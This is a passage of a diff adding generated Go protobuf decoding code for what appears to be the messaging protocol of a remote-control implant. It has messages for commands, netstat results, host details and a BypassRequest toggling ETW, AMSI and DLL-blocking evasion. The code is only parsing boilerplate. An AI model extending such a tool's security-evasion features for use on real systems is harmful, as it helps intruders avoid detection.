return fmt.Errorf("proto: wrong wireType = %d for field Input", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Input = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Response) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Response: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Response: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Output = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Error = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Kv", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Kv == nil { + m.Kv = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Kv[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Array", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Array = append(m.Array, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BypassRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BypassRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BypassRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ETW", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.ETW = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field AMSI", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.AMSI = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetInterface) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetInterface: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetInterface: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Index", wireType) + } + m.Index = 0 + m.Index, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mac", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Mac = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field IpAddresses", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.IpAddresses = append(m.IpAddresses, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SockTabEntry) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SockTabEntry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SockTabEntry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LocalAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.LocalAddr = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RemoteAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.RemoteAddr = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SkState", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.SkState = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Pid = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Protocol", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Protocol = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetstatResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetstatResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetstatResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Socks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Socks = append(m.Socks, &SockTabEntry{}) + if err := m.Socks[len(m.Socks)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Block) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Block: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Block: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockId", wireType) + } + m.BlockId = 0 + m.BlockId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ACK) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ACK: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ACK: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + m.Id = 0 + m.Id, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Success", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Success = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Os) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Os: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Os: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Version", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Version = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Release", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Release = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Arch = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Username = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hostname = stringValue + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Locale", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], 